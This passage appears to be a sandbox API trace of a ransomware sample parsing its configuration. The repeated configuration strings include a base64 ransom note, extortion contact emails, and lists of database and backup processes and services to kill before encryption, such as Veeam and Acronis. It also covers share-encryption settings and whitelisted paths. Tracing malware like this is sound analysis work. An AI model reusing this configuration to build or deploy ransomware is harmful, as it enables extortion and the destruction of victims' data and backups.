"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x4ff8b0, _Radix=0 | out: _EndPtr=0x4ff8b0*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 51200
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945368, Size=0x14) returned 0x949138
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948e18
	[0053.905] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x4ff8b0, _Radix=0 | out: _EndPtr=0x4ff8b0*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 8
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x949138, Size=0x18) returned 0x9490d8
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948fb8
